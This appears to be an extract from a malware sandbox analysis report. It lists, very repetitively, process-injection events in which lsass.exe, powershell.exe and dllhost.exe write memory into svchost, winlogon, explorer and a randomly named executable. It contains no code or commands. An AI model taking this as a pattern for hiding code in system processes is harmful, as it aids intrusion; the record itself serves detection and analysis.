Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E0D0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E0D0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E0D0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 2132CA20000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 2132CA20000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 2132CA20000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 2132CA20000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 2132CA20000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 2132CA20000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 2132CA20000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 2132CA20000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 2132CA20000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 2132CA20000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 2132CA20000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A8C0F0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E100000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140007000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 498A22B010	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1CA7D1B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 17D2DD20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22F4B8F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 262F1CD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23942AE0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EF056A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2287AD70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B94DA60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 25202540000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A9EBF90000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19FF1600000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A76A170000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14D26990000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2175D5C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B0AB960000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2129B2A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26384180000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 25178730000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1495FCF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22125DC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 297A5D80000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2D0F41C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C325340000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AEFC900000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 270F3530000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D326280000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 16131E60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AE137C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C93A3B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E2E4190000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1450000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AB68FA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 265951C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C263510000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E100000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 18198570000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EF3C5C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 17ACFCF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E8E330000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5A2950000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD340C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B653790000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B19A0E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24730B30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 15F35DA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\sihost.exe base: 200792F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 18CE9170000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D959540000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 18F1AC00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FF01350000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 221D2530000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D400530000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\explorer.exe base: 8590000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 27844DD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 258B00D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FA9A260000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dasHost.exe base: 1BFB71A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 26982020000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 185706E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1496A4A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 190043F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 16215D30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 159AD5E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 221570C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B8E5260000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 189090B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 24BB1240000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 28182CD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1BD9B7A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 24261410000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1C7ADC40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 3CB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 242997D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 9F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 6D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 7F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: BA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: C80000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2A60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2830000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 610000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2A00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: BD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2910000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 15E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 27C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: B10000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2CC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2A30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1080000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2AB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 920000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: F20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2FE0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 26A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 27F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 27E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2E80000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2AF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 890000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 22A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2860000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 920000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: AA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: AD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2640000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: B40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1280000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 7E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: F00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 10B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2CE0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2A00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: C80000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: C20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 26B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 540000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1050000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: F30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2A70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 7D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 900000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2270000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: FE0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2040000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: A50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 28D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2980000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 29A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: E70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 950000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 28A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: D60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2F00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: CA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: A00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 620000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 13D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1300000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: C40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2700000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: AD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 680000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 940000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: F40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: C00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2CE0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: B20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 630000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: F50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 6A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: D40000
